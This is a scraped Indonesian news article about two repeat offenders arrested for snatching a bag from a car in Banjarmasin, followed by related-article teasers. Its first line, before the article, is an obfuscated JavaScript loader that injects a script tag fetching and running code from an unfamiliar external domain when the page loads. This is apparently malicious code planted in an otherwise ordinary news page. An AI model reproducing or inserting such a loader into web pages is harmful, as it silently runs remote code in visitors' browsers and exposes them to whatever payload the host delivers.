(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tak jera berada di balik jeruji besi, dua orang residivis harus kembali meringkuk ke sel tahanan. Ya, karena ulah mereka sendiri yang melakukan penjambretan di kawasan jalan Pinus, Kelurahan Sungai Miai, Banjarmasin, Senin (22/6/2020) kemarin.
Dua penjambret tersebut yakni AN (50) dan SP (51) berhasil diamankan warga. Keduanya diamankan saat ingin kabur usai melakukan aksi merampas tas milik korban LN (30). Tapi saat mencoba kabur dan belum sempat menikmati hasil jerih payahnya, kedua pelaku tersebut sempat mendapatkan amukan warga sekitar TKP. Sebelum pihak kepolisian datang mengamankan keduanya.
Kejadian penjambretan bermula saat korban LN (30) pulang dari sebuah bank di kawasan jalan Gatot Subroto bersama adik dan mertuanya. Sesampainya di jalan Pinus, korban berhenti dan meninggalkan mobil untuk berbelanja kebutuhan pokok bersama adiknya, sedangkan mertuanya menunggu di dalam mobil.
Saat korban dan adiknya turun dari mobil, seketika dua orang pelaku tersebut muncul dengan menggunakan sepeda motor dan langsung melakukan aksi dengan membuka pintu bagian depan mobil. “Keduanya berusaha mengambil tas korban yang tergeletak di jok depan,” ujar Kapolsek Banjarmasin Utara AKP Gita Suhandi melalui Kanit Reskrim Ipda Hendra Agustian Ginting, Selasa (23/6/2020).
Tak ayal, mertua korban yang sedang duduk di posisi kursi belakang mobil langsung berteriak keras dan aksi saling tarik-menarik terjadi. Karena panik dua orang pelaku itu berusaha melarikan diri.
Namun warga yang melihat kejadian tersebut langsung mengamankan keduanya dan segera memanggil polisi.
Ipda Ginting mengatakan, kedua pelaku kini sudah diamankan di Mapolsek Banjarmasin Utara guna pemeriksaan hukum lebih lanjut. “Adapun barang bukti yang berhasil diamankan yakni senjata tajam jenis pisau dan empat bilah besi yang ujungnya telah di tajami,” bebernya.
Sekada diketahui, ternyata pelaku AN (50) warga Jalan Kelayan A, Banjarmasin Selatan, sudah empat kali masuk bui.
“Sajam sekali, pencurian bongkar kios di Banjarmasin sekali dan pencurian rumah di Samarinda sebanyak dua kali,” sebut Iptu Ginting.
Sedangkan tersangka SP (51), warga jalan Dahlia, Kecamatan Banjarmasin Barat, pernah kali masuk sel tahanan di Mapolres Kota Banjarmasin dengan perkara senjata tajam.
“Akibat perbuatannya kedua pelaku ditetapkan sebagai tersangka dan dikenakan Pasal 363 KUHP tentang pencurian,” tandasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.